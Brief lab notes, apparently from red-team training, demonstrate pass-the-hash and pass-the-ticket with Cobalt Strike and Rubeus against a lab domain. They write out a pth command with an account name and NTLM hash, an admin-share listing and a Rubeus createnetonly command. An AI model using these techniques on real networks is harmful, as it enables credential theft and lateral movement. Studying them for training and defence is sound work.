Pass the Hash

In this section we will try Pass-The-Hash with Cobalt Strike.

pth DEV\jking 59fc0f884922b4ce376051134c71e22c

Now let’s test.

ls \\web.dev.cyberbotic.io\c$

Now if we want to revert the token.

rev2self

and we reverted the token

Pass the Ticket

Create New CMD

execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe

Overpass the Hash

Now let’s try to Overpass The Hash Using Cobalt Strike.